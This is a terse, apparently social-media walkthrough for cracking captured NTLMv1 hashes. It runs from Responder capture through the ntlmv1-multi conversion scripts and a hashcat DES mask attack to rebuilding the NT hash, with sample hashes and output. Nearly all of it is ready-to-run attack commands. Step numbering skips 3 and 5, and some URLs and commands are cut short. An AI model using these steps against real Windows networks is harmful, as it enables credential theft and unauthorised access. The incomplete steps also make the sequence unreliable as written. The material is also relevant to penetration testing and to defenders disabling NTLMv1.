STEP 1-Capture NTLMv1 hash with or without SSP using responder.
STEP 2-Download NTLMv1-Multi tool
github.com/evilmog/ntlmv1…
python ntlmv1.py --nossp <ntlmv1_hash_nossp>
python ntlmv1-ssp.py --ssp <ntlmv1_hash_ssp>
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
STEP 4-Load into Hashcat and crack:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
727b4e35f947129e:1122334455667788:$HEX[8923bdfdaf753f63]
a52b9cdedae86934:1122334455667788:$HEX[17d741d7ddc1c36f]
STEP 6-Convert cracked DES into NT:
hashcat.net/wiki/doku.php?…
output= 8846f7eaee8fb1
perl deskey_to_ntlm.pl 17d741d7ddc1c36f
output= 17ad06bdd830b7
STEP 7-Run output of tool:
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
output= 586c